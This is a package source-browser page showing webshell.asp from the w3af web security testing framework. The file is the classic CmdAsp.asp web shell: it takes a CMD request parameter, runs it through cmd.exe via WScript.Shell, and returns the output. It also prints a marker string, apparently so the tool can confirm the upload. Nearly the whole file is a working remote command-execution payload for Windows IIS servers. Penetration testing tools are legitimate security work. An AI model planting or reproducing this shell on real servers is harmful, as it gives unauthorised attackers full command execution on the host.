File: webshell.asp

package info (click to toggle)
w3af 1.0-rc3svn3489-1
  • links: PTS
  • area: main
  • in suites: jessie, jessie-kfreebsd, squeeze, wheezy
  • size: 59,908 kB
  • ctags: 16,916
  • sloc: python: 136,990; xml: 63,472; sh: 153; ruby: 94; makefile: 40; asm: 35; jsp: 32; perl: 18; php: 5
file content (47 lines) | stat: -rw-r--r-- 1,535 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<HTML>
<link rel="stylesheet" type="text/css" href="style.css">

<BODY topmargin="2" leftmargin="2">
<PRE><%@ Page aspcompat=true debug=true%>														
<%
  ' --------------------o0o--------------------
  ' File: CmdAsp.asp
  ' Author: Maceo <maceo @ dogmile.com> (some changes made by Dinis Cruz (dinis@ddplus.net))
  ' Release: 2000-12-01
  ' OS: Windows 2000, 4.0 NT
  ' -------------------------------------------

  Dim oScript
  Dim oScriptNet
  Dim oFileSys, oFile
  Dim szCMD, szTempFile

'  On Error Resume Next

  ' -- create the COM objects that we will be using -- '
  oScript = Server.CreateObject("WSCRIPT.SHELL")
  oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  oFileSys = Server.CreateObject("Scripting.FileSystemObject")

  ' -- check for a command that we have posted -- '
  szCMD = Request("CMD")
  If (szCMD == "") Then
    Response.Write("15825b40c6dace2a" & "7cf5d4ab8ed434d5")
  Else
    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = Request.ServerVariables("APPL_PHYSICAL_PATH") & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
'    response.write(szTempFile)
'    response.end
    oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    ' -- Read the output from our command and remove the temp file -- '
'    On Error Resume Next
    Response.Write (replace(Server.HTMLEncode(oFile.ReadAll),vbnewline+vbnewline,vbnewline))
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
</PRE>
</BODY>
</HTML>